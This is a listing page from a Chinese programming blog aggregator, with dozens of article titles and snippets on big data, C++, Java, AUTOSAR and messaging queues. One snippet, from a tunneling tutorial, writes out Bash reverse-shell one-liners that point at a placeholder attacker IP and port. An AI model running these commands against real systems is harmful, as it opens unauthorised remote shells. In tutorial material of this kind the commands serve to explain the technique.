大数据之spark

钢铁行业设备智能运维实战：基于DuodooBMS+SKF的减速机全生命周期管理方案

的竞争格局下，某大型钢铁集团通过DuodooBMS+SKFObseverPhoenixAPI系统实现核心设备预测性维护，热轧产线非计划停机减少42%，设备综合效率OEE提升17%）一、钢铁企业设备管理之痛某年产
邹工转型手札·2025-02-16 10:23

网络原理之HTTP协议，及理解Cookie和Session的区别

文章目录一、HTTP原理简介二、HTTP内容简介1.认识URL2.HTTP协议格式3.HTTP的方法4.HTTP的状态码通过Fiddler抓包工具分析请求和响应的格式5.HTTP常见Header6.Cookie和Session的简单介绍三、补充1.HttpVSHttps提示：以下是本篇文章正文内容一、HTTP原理简介  HTTP协议(超文本传输协议HyperTextTransferProtocol
qq_41603622·2025-02-16 10:21

辅助工具之VBA（一）

工欲善其事，必先利其器。excel可以理解成一个微型数据库，既能存储数据有能很好的呈现数据。拥有丰富的公式，强大的VBA，是我们日常最强大的工具之一。根据excel的特点，我们可以利用它自动生成代码。丰富的公式+VBA，我们可以做数据分析。文档结构形式是一切的基础。约定优于配置。我们要积累一些代码块，在我们需要的时候我们可以快速地组合起来完成想要的功能。1，单元格的遍历。根据选择的单元格来确定需要
tomlone·2025-02-16 09:10

集群与分片：深入理解及应用实践

分片的定义分片的类型集群与分片的关系集群的应用场景负载均衡高可用性分片的应用场景大数据处理数据库分片集群与分片的架构设计系统架构设计数据存储设计案例分析Hadoop集群Elasticsearch分片性能优化策略集群性能优化分片性能优化挑战和解决方案总结参考资料引言在现代计算系统中
一休哥助手·2025-02-16 09:07

c++primer之函数重载

如果一个作用域的几个函数名字相同参数列表不同，我们称之为函数重载。下面是注意的一些问题：重载和const形参顶层const不影响传入函数的对象。一个顶层的const的形参无法和另一个没有顶层const的形参区分开来。例：Recordlookup(Phone);Recordlookup(constPhone);//重复定义了Recordlookup(Phone)Recordlookup(Phone*
MachineLP·2025-02-16 08:59

GMSL 明星产品之 MAX96724

上一篇文章中，我们介绍了摄像头侧GMSL加串器MAX96717.今天我们来介绍下GMSL解串器明星产品MAX96724：可将四路GMSL™2/1输入转换为1路、2路或4路MIPID-PHY或C-PHY输出。该器件支持通过符合GMSL通道规范的50Ω同轴电缆或100Ω屏蔽双绞线（STP）电缆进行同时双向传输。每条GMSL2串行链路正向以3Gbps或6Gbps的固定速率运行，反向则以187.5Mbps
iMr_Stone·2025-02-16 08:29

【0185】PG内核客户端认证之HbaLine（5）

文章目录1.回顾2.HbaLine机制2.1解析hba_lines2.1.1解析过程2.parse_hba_line()函数相关阅读：【0179】配置PostgreSQL以允许远程连接【0180】PG内核通过pg_hba.conf完成客户端认证（1）【0181】PG内核通过pg_hba.conf完成客户端认证（2）
内核之道·2025-02-16 07:24

【Redis】golang操作Redis基础入门

【Redis】golang操作Redis基础入门大家好我是寸铁总结了一篇【Redis】golang操作Redis基础入门sparkles:喜欢的小伙伴可以点点关注Redis的作用Redis（RemoteDictionaryServer
寸 铁·2025-02-16 07:24

C语言【基础篇】之简单语法——构建程序大厦的基石解析

链接:C语言【基础篇】之搭建环境——从新手到实战的必备前奏本文我们介绍一下C语言最基础的一些知识，为构建程序大厦打好基石。第一个程序分析HelloWorld程序分析#inclu
EnigmaCoder·2025-02-16 07:53

C++入门之《类和对象中》的构造函数和析构函数

构造函数定义构造函数是一种特殊的成员函数，它在创建对象时自动调用，主要用于对象的初始化操作，比如为对象的数据成员赋初值等。特点函数名与类名相同：构造函数的名称必须和它所属的类的名称完全一致。没有返回类型：构造函数不声明返回类型，也不能有返回值。可以重载：一个类可以有多个构造函数，它们可以根据参数的类型、个数和顺序的不同来区分，以满足不同的初始化需求。自动调用：当创建类的对象时，系统会自动调用构造函
YueiL·2025-02-16 07:22

hive spark读取hive hbase外表报错分析和解决

问题现象使用Sparkshell操作hive关联Hbase的外表导致报错；hive使用tez引擎操作关联Hbase的外表时报错。
spring208208·2025-02-16 07:21

内网隧道代理技术（七）之Bash反弹shell

Bash反弹shellBash介绍Shell也称为终端或壳，是人与内核之间的翻译官，而Bash则是Linux中默认使用的ShellBash反弹Shell的命令如下：bash-i>&/dev/tcp/攻击机_IP/攻击机端口0>&1bash-i>&/dev/tcp/攻击机_IP/攻击机端口0>&2bash-i>&/dev/udp/攻击机_IP/攻击机端口0>&1bash-i>&/dev/udp/攻击
怰月·2025-02-16 06:51

如何学习Elasticsearch（ES）：从入门到精通的完整指南

如果你对大数据搜索和分析感兴趣，并且想要掌握Elasticsearch这一强大的分布式搜索引擎，那么你来对地方了！
狮歌~资深攻城狮·2025-02-16 06:17

如何学习HBase：从入门到精通的完整指南

如果你对大数据存储感兴趣，并且想要掌握HBase这一强大的分布式数据库，那么你来对地方了！本文将为你提供一个系统的学习路径，帮助你从零开始逐步深入理解HBase。
狮歌~资深攻城狮·2025-02-16 06:15

spark-广播变量

当本地数据极大的时候，可以使用广播变量，使得减少内存。本地集合对象和分布式集合对象（RDD）进行关联的时候，需要将本地集合对象广播变量。本地的数据传输到集群上，会发到每一个线程，每一个分区。每一个进程executor，有多个线程分区，进程内的线程数据共享因此，给每一个线程发送数据会导致数据占用，浪费资源。所有，出现了广播变量，使得只发送给进程代码使用：broadcast=sc.broadcast(
哈哈哈哈q·2025-02-16 05:12

Go 语言的优势和学习路线图

目前Go语言支持Windows、Linux等多个平台，也可以直接在Android和iOS等移动端执行，从业务角度来看，Go语言在云计算、微服务、大数据、区
weixin_jie401214·2025-02-16 04:07

CP AUTOSAR标准之HWTestManager(AUTOSAR_SWS_HWTestManager)（更新中……）

1简介和功能概述  本规范描述了模块硬件测试管理启动和关闭(HTMSS)的概念、接口和配置。  HTMSS模块是AUTOSAR标准化基础软件架构服务层的基础软件模块，HTMSS模块应为应用程序SWC使用提供测试状态/结果。  该模块的目的是提供一个基础设施，用于在AUTOSAR标准软件平台内集成/转换微控制器制造商特定的启动和关闭测试(例如BIST)测试结果/状态。  该模块的基本功能包括从MST
瑟寒凌风·2025-02-16 04:04

CP AUTOSAR标准之ICUDriver(AUTOSAR_SWS_ICUDriver)（更新中……）

1简介和功能概述  该规范指定了AUTOSAR基础软件模块ICU驱动程序的功能、API和配置。  ICU驱动程序是一个使用输入捕获单元(ICU)来解调PWM信号、计数脉冲、测量频率和占空比、生成简单中断和唤醒中断的模块。  ICU驱动程序提供服务信号边缘通知控制唤醒中断周期信号时间测量边缘时间戳，可用于采集非周期信号边缘计数3相关文献3.1输入文件  [1]基础软件模块通用要求，AUTOSAR_S
瑟寒凌风·2025-02-16 04:04

CP AUTOSAR标准之IOHardwareAbstraction(AUTOSAR_SWS_IOHardwareAbstraction)（更新中……）

1简介和功能概述  AUTOSAR基础软件I/O硬件抽象的功能和配置。I/O硬件抽象是ECU抽象层的一部分。  I/O硬件抽象不应被视为单个模块，因为它可以作为多个模块实现。本I/O硬件抽象规范并非旨在标准化此模块或模块组。相反，它旨在作为其与其他模块功能接口实现的指南。  通过将I/O硬件抽象端口映射到ECU信号来提供对MCAL驱动程序的访问。提供给软件组件的数据完全从物理层值中抽象出来。因此，
瑟寒凌风·2025-02-16 04:04

CP AUTOSAR标准之FlexRayStateManager(AUTOSAR_CP_SWS_FlexRayStateManager)（更新中……）

1简介和功能概述  该规范描述了AUTOSAR基础软件模块FlexRay状态管理器(FrSM)的功能、API和配置。  AUTOSARBSW堆栈为每条通信总线指定一个总线特定状态管理器。该模块应实现相应总线的控制流。FrSM是通信服务层的成员。它与通信硬件抽象层和系统服务层交互。3相关文献3.1输入文件及相关标准、规范  [1]词汇表AUTOSAR_FO_TR_Glossary  [2]基础软件模
瑟寒凌风·2025-02-16 04:33

CP AUTOSAR标准之CryptoServiceManager(AUTOSAR_CP_SWS_CryptoServiceManager)

1简介和功能概述  该规范指定了软件模块加密服务管理器(CSM)的功能、API和配置，以满足CSM需求规范[CSM_SRS]中所表示的顶级要求。  CSM应提供同步或异步服务，以便为所有软件模块提供对基本加密功能的唯一访问。CSM应提供一个抽象层，为更高软件层提供标准化接口以访问这些功能。  一个软件模块所需的功能可能与其他软件模块所需的功能不同。因此，应可以为每个软件模块单独配置和初始化CSM提
瑟寒凌风·2025-02-16 04:03

人工智能之数学基础：线性空间

本文重点本文我们将讲解线性空间的知识，它不仅是数学中非常重要的知识点，它在机器学习和深度学习中的价值也是非常重要的，在机器学习和深度学习中是可以通过线性空间来进行解释的。线性空间的直观理解线性空间可以看作是一个多维的“宇宙”，其中的“点”由向量表示，而“运动”则通过向量的加法和数乘来实现。这个宇宙中的每一个向量都可以看作是从原点出发到该点的一条有向线段，而线性空间的维度则决定了这个宇宙的大小和复杂
每天五分钟玩转人工智能·2025-02-16 04:00

推荐开源项目：Rebble Store for Pebble

随着原生Pebble应用商店逐渐淡出视线，RebbleStore正在积极发展并提供与之媲
幸竹任·2025-02-16 04:30

浅聊MQ之Kafka与RabbitMQ简用

（前记：内容有点多，先看目录再挑着看。）Kafka与RabbitMQ的使用举例Kafka的使用举例安装与启动：从ApacheKafka官网下载Kafka中间件的运行脚本。解压后，通过命令行启动Zookeeper（Kafka的运行依赖于Zookeeper）。启动Kafka的服务器进程。基本功能实现：生产者：启动生产者进程，向指定的主题（Topic）发送消息。消费者：启动消费者进程，从指定的主题中接收
天天向上杰·2025-02-16 03:24

浅聊MQ之Kafka、RabbitMQ、ActiveMQ、RocketMQ持久化策略

以下是主流消息队列（Kafka、RabbitMQ、ActiveMQ、RocketMQ）的持久化策略详解及实际场景示例：1.Kafka持久化策略核心机制：日志分段存储：每个Topic分区对应一个物理日志文件（顺序写入）分段策略：默认每1GB或7天生成新Segment（log.segment.bytes/log.roll.hours）索引文件：.index（偏移量索引）和.timeindex（时间戳索
天天向上杰·2025-02-16 03:24

架构师技术图谱

分布式漫谈分布式系统大数据存储微服务可落地的DDD(6)-工程结构推荐系统框架消息队列编程语言设计模式重构集群
modouwu·2025-02-16 03:24

python 读取各类文件格式的文本信息:doc,html,mht,excel

未来人工智能，大数据方向，区块链的识别和进阶都将以python为中心来展开。咳咳咳！好像有点打广告的嫌疑了。当前互联网信息共享时代，最重要的是什么?是数据。最有价值的是什么？是数据。
北房有佳人·2025-02-16 03:24

python中常见的生成器内容

节省内存：因为不会一次性存储所有值，所以在处理大数据时效率很高。访问的形式
哈哈哈哈q·2025-02-16 03:23

数据驱动的DevOps,MLOps工具链初现端倪

DevOps是一种文化和实践，旨在打破开发和运维之
AI架构设计之禅·2025-02-16 03:53

Java 之LinkedList源码简单分析

LinkedList源码分析前言一、数据结构二、初始化三、添加元素四、添加元素到指定位置五、获取元素六、删除元素总结参考文献前言LinkedList是我们常用的一个容器，简单分析LinkedList的源码，可以更好的了解LinkedList容器，了解它的数据结构、初始化、添加元素是如何实现。一、数据结构LinkedList的底层是一个带头尾指针的双向链表，双向链表通过一个私有静态内部类来定义。pr
REN_林森·2025-02-16 02:17

Java设计模式之桥接模式

桥接模式（BridgePattern）1.概述桥接模式是一种结构型设计模式，它通过将抽象部分与实现部分分离，使它们可以独立变化。桥接模式的核心思想是将抽象与实现解耦，使得它们可以独立变化，而不受彼此的影响。换句话说，桥接模式旨在处理“类的维度扩展问题”。2.适用场景希望将抽象与实现解耦：当一个类存在多个维度的变化时，桥接模式可以有效地将这些维度分离，避免类的层次结构过于复杂。不希望在抽象和实现之间
愿时光不负.·2025-02-16 02:46

Java 设计模式之装饰模式

文章目录Java设计模式之装饰模式概述UML图代码实现Java设计模式之装饰模式概述装饰模式(Decorator)，动态地给一个对象添加一些额外的职责，比直接生成子类更为灵活。
xiangxiongfly915·2025-02-16 02:16

Java 设计模式之策略模式

文章目录Java设计模式之策略模式特点UML图传统if-else策略模式优化Java设计模式之策略模式特点定义一系列的算法，把每一个算法封装起来,并且使它们可相互替换。
xiangxiongfly915·2025-02-16 02:16

Java 设计模式之迭代器模式

文章目录Java设计模式之迭代器模式概述UML代码实现Java的迭代器Java设计模式之迭代器模式概述迭代器模式(Iterator)，提供一种方法顺序访问一个聚合对象中的各个元素，而又不暴露该对象的内部表示
xiangxiongfly915·2025-02-16 02:46

【C语言】判断闰年 由if()语句判断实现 | C语言面试：C语言中的浮点数如何存储和计算？| 浮点数的存储格式，浮点数的编码规则，浮点数的计算规则

“往往在逃避命运的路上，却与之不期而遇。”
追光者♂·2025-02-16 00:06

深入理解 C++ 算法之 SPFA

在图论算法的世界里，单源最短路径问题是一个经典且重要的研究方向。SPFA（ShortestPathFasterAlgorithm）算法作为求解单源最短路径问题的一种高效算法，在C++编程中有着广泛的应用。本文将深入探讨SPFA算法的原理、实现步骤以及在C++中的代码实现。SPFA算法原理SPFA算法本质上是对Bellman-Ford算法的一种优化。Bellman-Ford算法通过对所有边进行多次松
小白布莱克·2025-02-16 00:02

大数据java篇——复制

1.文件夹复制packageCopy;importjava.io.File;importjava.io.FileInputStream;importjava.io.FileNotFoundException;importjava.io.FileOutputStream;publicclassDirCopyDemo{publicstaticStringsrcRoot;publicstaticvoid
sp_ur·2025-02-15 22:16

langchain学习笔记之小样本提示词Few-shot Prompt Template

langchain学习笔记之小样本提示词引言Few-shotPromptTemplates\text{Few-shotPromptTemplates}Few-shotPromptTemplates简单介绍示例集创建创建
静静的喝酒·2025-02-15 21:08

C++11新特性之weak_ptr智能指针

本节介绍最后一个智能指针——weak_ptr智能指针。1.介绍weak_ptr智能指针也是以模板类的方式实现的。同样定义在头文件，并位于std命名空间中。在使用前需包含这两条语句。C++11虽然将weak_ptr当做智能指针，但该类型通常不单独使用，只能与shared_ptr类型指针搭配使用。通过weak_ptr指针，我们可以获取shared_ptr指针的状态信息，例如有多少个shared_ptr
画个逗号给明天"·2025-02-15 20:03

C++11新特性之unique_ptr智能指针

本节继续介绍智能指针，不了解的读者可以先阅读——C++11新特性之shared_ptr智能指针-CSDN博客1.介绍unique_ptr是C++11标准提供的另一种智能指针。
画个逗号给明天"·2025-02-15 20:02

LeetCode刷题之——滑动窗口

滑动窗口三步走：第一步确定尾指针++的条件，往右扩张；第二步确定头指针++的条件，往右收缩，第三步更新所求目标值（一般都是极值）滑动窗口伪代码：start=0end=0//初始化while（扩张条件）{while（收缩条件）{FindTarget（）//收缩时一般求极小值start++//收缩，有可能是++，也有可能是跳跃式移动}FindTarget（）//扩张时一般求极大值end++//扩张，一
阳天_·2025-02-15 20:32

网络安全之反射放大型DDOS

背景据CERNET2014年10月的月报统计，其38个主节点中有超过一半检测到来自国内次数超过2200次、总流量超过16TB的NTP反射放大攻击；2016年10月美国Dyn公司的DNS服务器遭受DNS反射放大攻击与SYN洪水攻击，导致美国大范围断网；2017年11月13日到2017年11月15日期间，ZoomEye网络空间探测引擎探测到一个活动频繁的攻击——CLDAPDDoS反射放大攻击，随后对D
tiezhuLee·2025-02-15 20:31

Python集合之set()使用方法详解

set是一个无序且不重复的元素集合，它有可变集合(set())和不可变集合(frozenset)两种，可以对set()集合进行创建、添加、删除、交集、并集和差集的操作，非常实用，以下是具体用法：一、创建集合setpythonset类是在python的sets模块中，新的python版本可以直接创建集合，不需要导入sets模块。具体用法：1.set('old')2.set(‘o’,’l’,’d’)二
lmseo5hy·2025-02-15 19:58

【毕设专用】2025 AI 多模态 大模型 接入 合集

【ESP32接入国产大模型之kimi】https://vor2345.blog.csdn.net/article/details/140782934【ESP32接入国产大模型之MiniMax】https
2401_84711588·2025-02-15 19:25

C++之线程池（Thread Pool）

1.介绍线程池是一种并发编程的设计模式，用于管理和复用多个线程。以避免频繁创建和销毁线程的开销。线程池的核心思想是预先创建一组线程，并将任务分配给这些线程执行，从而提高程序的性能和资源利用率。2.线程池的核心组件一个经典的线程池包含以下组件：（1）任务队列（TaskQueue）：用于存储待执行的任务。通常是一个线程安全的队列（如queue>）。（2）工作线程（workerThreads）:一组预先
画个逗号给明天"·2025-02-15 19:24

天童美语：观察你的生活

在孩子的认知里，世界宛如一片充满神秘色彩的未知之境，有着无尽的奥秘等待他们去探索。家长们，引导孩子用心观察世界，领略其中的美妙，这对孩子的成长进程有着极为关键的作用。
消息快传·2025-02-15 19:54

【新手上路】洛谷入门3：循环结构题单题解

www.luogu.com.cn/problem/P5718)[P5719【深基4.例3】分类平均](https://www.luogu.com.cn/problem/P5719)[P5720【深基4.例4】一尺之棰
shixiexunnie·2025-02-15 19:52

打印金字塔总结(c/c++)

打印金字塔总结(c/c++)前事不忘，后事之师；在做循环结构时惊觉前几题几乎都是打印space或*或字符、数字打印的图像，看了看没啥人做这种基础题的盘点总结，秉承节流（时间）的精神也就为类己的萌新规范化此类题目
shixiexunnie·2025-02-15 19:22

【大数据安全分析】网络异常相关安全分析场景

在大数据安全分析领域，威胁情报关联和账号异常分析已经取得了较好的效果，而网络异常分析同样具有重要的价值。
扫地僧009·2025-02-15 18:20

磨人小妖精-tensorflow之removed in a future version

TensorFlow1.14版本TensorFlow使用五个不同级别的日志消息。按照上升的顺序，它们是DEBUG，INFO，WARN，ERROR和FATAL。当您在任何这些级别配置日志记录时，TensorFlow将输出与该级别相对应的所有日志消息以及所有级别的严重级别。例如，如果设置了ERROR的日志记录级别，则会收到包含ERROR和FATAL消息的日志输出，如果设置了一个DEBUG级别，则会从所
凯旋的铁铁·2025-02-15 18:19
上一页 1 2 3 4 5 6 7 8 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他